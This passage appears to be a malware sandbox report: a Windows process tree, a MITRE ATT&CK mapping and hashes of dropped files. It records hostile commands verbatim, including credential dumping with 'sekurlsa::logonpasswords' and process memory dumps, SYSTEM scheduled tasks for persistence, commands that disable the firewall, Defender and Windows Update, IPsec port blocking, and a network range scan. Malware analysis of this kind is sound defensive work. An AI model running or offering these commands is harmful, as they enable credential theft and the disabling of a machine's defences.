  cmd /c C:\Windows\fcbklmeji\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\fcbklmeji\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:2096
- - C:\Windows\fcbklmeji\Corporate\vfshost.exe
    C:\Windows\fcbklmeji\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:716
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "edybcufnr" /ru system /tr "cmd /c C:\Windows\ime\iimkcmd.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1852
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "edybcufnr" /ru system /tr "cmd /c C:\Windows\ime\iimkcmd.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4608
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ibcapbkez" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1440
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ibcapbkez" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "pijbwtibr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "pijbwtibr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4556
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5104
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2156
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5072
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4304
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1036
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2660
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:224
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2464
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3588
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1516
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:400
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2844
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1704
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:1200
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      PID:884
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2828
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:4556
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4596
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5028
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1656
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1040
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:536
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3108
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:1388
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4708
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4380
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:2912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:384
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:760
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  PID:1976
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3000
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2324
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4316
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2564
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2940
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 792 C:\Windows\TEMP\fcbklmeji\792.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2624
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  PID:4848
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 60 C:\Windows\TEMP\fcbklmeji\60.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:944
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2052 C:\Windows\TEMP\fcbklmeji\2052.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4840
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2704 C:\Windows\TEMP\fcbklmeji\2704.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3584
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2944 C:\Windows\TEMP\fcbklmeji\2944.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4208
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2984 C:\Windows\TEMP\fcbklmeji\2984.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2564
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2848 C:\Windows\TEMP\fcbklmeji\2848.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3904
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 3736 C:\Windows\TEMP\fcbklmeji\3736.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3060
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 3824 C:\Windows\TEMP\fcbklmeji\3824.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 3892 C:\Windows\TEMP\fcbklmeji\3892.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1456
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 3988 C:\Windows\TEMP\fcbklmeji\3988.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4076
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 1796 C:\Windows\TEMP\fcbklmeji\1796.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3916
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 3808 C:\Windows\TEMP\fcbklmeji\3808.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1636
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 1300 C:\Windows\TEMP\fcbklmeji\1300.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2280
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2176 C:\Windows\TEMP\fcbklmeji\2176.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2940
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 2796 C:\Windows\TEMP\fcbklmeji\2796.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3752
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 3404 C:\Windows\TEMP\fcbklmeji\3404.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5100
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
  C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe -accepteula -mp 780 C:\Windows\TEMP\fcbklmeji\780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1172
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\fcbklmeji\ykckyizic\scan.bat
  2⤵
  PID:3328
- - C:\Windows\fcbklmeji\ykckyizic\yhkmiczue.exe
    yhkmiczue.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5452
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2452
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4636
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:384
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5400
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:5464

C:\Windows\SysWOW64\pufbqc.exe
C:\Windows\SysWOW64\pufbqc.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:952

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:1516

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F
1⤵
PID:1440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3880
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F
  2⤵
  PID:2572

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\iimkcmd.exe
1⤵
PID:4536
- C:\Windows\ime\iimkcmd.exe
  C:\Windows\ime\iimkcmd.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1216

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F
1⤵
PID:1036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2612
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F
  2⤵
  PID:832

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F
1⤵
PID:3996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:436
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F
  2⤵
  PID:3944

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\iimkcmd.exe
1⤵
PID:2412
- C:\Windows\ime\iimkcmd.exe
  C:\Windows\ime\iimkcmd.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:760

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F
1⤵
PID:2952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5228
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F
  2⤵
  PID:4208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\fcbklmeji\1300.dmp

Filesize
8.6MB

MD5
c70505ab97f2ef545105a66677aca811

SHA1
dcd5fadbb97dc69085dcb3b8b031f103427710cc

SHA256
ecb14f2c5e64f4748a2e24cce1ee8ff161dee6f90c47f42138f055db9465c36d

SHA512
53606ec23701970c90e2eba1a9fd420892c9033e9ccb0dbbb3249692d1953f3252ee1e84c0f1feef73a7dcca297817e32d60171eedb3246a229e1f993b307fdc

Download Submit
C:\Windows\TEMP\fcbklmeji\1796.dmp

Filesize
26.0MB

MD5
3729e750b0072155078a8a81631e21f9

SHA1
88fd6629476123404ca2d9bc51d4f425a7be2242

SHA256
f58dea59c2773c758fd15904166f3f6ec19d0503ffea7dd1f860fa3714db5336

SHA512
e2fbdb60d69fb93cc202af27470d14fd2f97865cf88259523e957a51109f016bb3f8d6c64a41028abb5f83e438ffeab174ddd66861505465e72b72e384797e90

Download Submit
C:\Windows\TEMP\fcbklmeji\2052.dmp

Filesize
4.1MB

MD5
80966dc6e987d68865f10d5ae52c32dd

SHA1
f0c42c69f2455e6afd8b4fc99de906c4097b9a0a

SHA256
a3da85c4024311d2ee0c82fb9924716f660e82bd30c727e27086a80b6eacaaef

SHA512
94fe0b4e75e1c7aa57490f9edfffc81f1be94d2d748dcc52840f469f111d04be649e8b11b48892f9f527899610e56d1ab33624e40720a6e1295c447e09018284

Download Submit
C:\Windows\TEMP\fcbklmeji\2704.dmp

Filesize
7.5MB

MD5
3d845c33535b0694ae09ad060600eb6b

SHA1
eae36dcecce5c1dc9a2784a157a5a969bda0101c

SHA256
3177f091cc97b772ba210e469b67601353626dca6e0bd20af38a29e49768c76c

SHA512
1a4cb75ccff22ffe0385ed2e0730cdb056aa42c46fa6a8787294f9597415578f539f17d603f5bf522363946554db2c9b3abc4646c523f30ede4145d454186215

Download Submit
C:\Windows\TEMP\fcbklmeji\2848.dmp

Filesize
2.9MB

MD5
3194452129cfcd1de718d0855d877662

SHA1
6aacb268947fd0f19eca834d59007ef72c594fc8

SHA256
ef4909c992f6f2fa05d99211ec08ec993d1bde0f70fccf022a3f483b15ee07ec

SHA512
9e613b31cdbfb479c76bea1122196d5012491592b46245b01cc740de6e6ca39f0c9048d0b800f6fa64505268cfeb1f1202a2212ca9ca0c89185b8a8ba14d4296

Download Submit
C:\Windows\TEMP\fcbklmeji\2944.dmp

Filesize
810KB

MD5
50e48c63eef15b48b4526bb378a0363a

SHA1
bb493410f088cf029ff918529823c2ffff648c84

SHA256
a3616742f9b5739c9397281d450061a60213dd2dcf9c4d7ac16b12fe8691af55

SHA512
40404a7afb30cb43be7e6f7d79a759f8e18ea7be310ac105d23d167716627d35620fc52d65fef138a49900ec91440b05791b05641f09811480cd2d7fa3f716d5

Download Submit
C:\Windows\TEMP\fcbklmeji\2984.dmp

Filesize
3.8MB

MD5
97a81904ba2f88aae541b9b3d8f26aaf

SHA1
b8833184ba2b179425720dcf33423a9e6cc7aea1

SHA256
03113fd1d4e83aec94620032ce026020c00d7a5db2cb5f0889f06a4486f8c07a

SHA512
a9c3057d19bf46949f8d489cefdbfc6727cef9ed9292bff5ccfd53a507760314c372c9edc928a92ac5fb602c76e8dff129c57eb01db89b4863668d1ea4cd9381

Download Submit
C:\Windows\TEMP\fcbklmeji\3736.dmp

Filesize
3.1MB

MD5
e6886dac0cff0201af4db09adb05c790

SHA1
a1d9acf9f9c385038fe4dbcc27bece269490f8da

SHA256
404e6657e9b0bed1c5e6245aba20830eccec7e49e7f0ed029467fddb7b3a4c01

SHA512
e0f419db3ac302dedaf3742d373857e169a5e8f14ec4d20d8e9e46699844cfaaeec8fdb28375639047141bf0ff82d63b0bfeb05a0f63d8833d1567a820b8638f

Download Submit
C:\Windows\TEMP\fcbklmeji\3808.dmp

Filesize
1.2MB

MD5
3bb250cf5801aae3944833825cd1527f

SHA1
8f14af91b5307e294d0d2a8490fcfd9ced298c7a

SHA256
5cf914519275c6438ec6251c0d5f2c461341bf57f4e29346cf796b090511924b

SHA512
4dbaa1979a39ccaf81ada5548176bfb1d9ef146e84529db4825763c5b78080523ea96fa17845c7ace16e25945f3be849d3c19818a0443e6c2c1e6b23ef3d7272

Download Submit
C:\Windows\TEMP\fcbklmeji\3824.dmp

Filesize
20.7MB

MD5
074db2cb664664aab81ddf8402e74e84

SHA1
f6a33aa3cc4792cc25718db8a521bd258f58a865

SHA256
00d4960a735841f7a2c6459e744005aead5dacdc7ca21126c81a9f2ac50343cf

SHA512
577858f01fd2add7513f0ef63de34f59f1c42b9f60e02393fb9ecd8fe50b70e989941fcef2e329872bb3a0b6a297821a70dcc6e4901ac46e44cf832f20afdd8c

Download Submit
C:\Windows\TEMP\fcbklmeji\3892.dmp

Filesize
8.5MB

MD5
3ef25f34e269f0ed1c92f09bf7c48c57

SHA1
13059768e596f1e98e658d08dd477bd278709e92

SHA256
cd1651d47e35e71d96ea0c0fba4ce2e9f267f239582c037ba4dbc11e31d90d02

SHA512
550f6ebe43dc74f5d6a44c6be30178cbbc0db35cf03499b9074f03b34170cb92ce0c32c4977e50351df5d6433635597f1a954781c1ce33b4d5983ec3ccb8d6ce

Download Submit
C:\Windows\TEMP\fcbklmeji\3988.dmp

Filesize
44.2MB

MD5
02fdbd7a9e61f0e7a0c1bab30c6fa3c4

SHA1
b5c7551ffc5918930f347187518306091f8d7b38

SHA256
413d7b80b557368e04c4e5990a863c2c0b96c5ff79b65626608619dd76bc9e6b

SHA512
3aa519a733fa2acbe7268a2918f8be8f0291c785b99c3612fe670eefdc4d2ed8e9be62b120e4d9efde332553b0b090aae4aae2d66689d7f95792623755ac3911

Download Submit
C:\Windows\TEMP\fcbklmeji\60.dmp

Filesize
33.4MB

MD5
378565c43815030f02c991bf04d03aaf

SHA1
fc87e5933643dd886d311ff0d80956fc8f6e0dc5

SHA256
71ee449b1ed92d706a8f7dd956c40e04e467bba313deebea7e88deb71ced8cb2

SHA512
9e993c9714a345017502bd9df6d31079f8b0e2753d6ff3490578f4e4b4c493492b630daae930ea7df8b5f876fd06482d6cde1855e776445112f65640263cdd21

Download Submit
C:\Windows\TEMP\fcbklmeji\792.dmp

Filesize
995KB

MD5
acc59118b50762154b16b47303cbe8c8

SHA1
f5aa0f9595d50484f6c54f6f4225febdde52aa6d

SHA256
cdba026fe1bc86b4972f42d4b2335f5edc8408c68cf86959ace86709fcecfe40

SHA512
db5d2be19f2e32164beb8b0db19cae129ee1384caef9aee0f2ee0e5b8975de5e4cc16f798cb2ae1ad26d819851bac034b7b1596b50a8452e7ae3a3abcfae7baf

Download Submit
C:\Windows\TEMP\qjfklwczb\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\fcbklmeji\rtucebkpz.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\nstDC77.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nstDC77.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
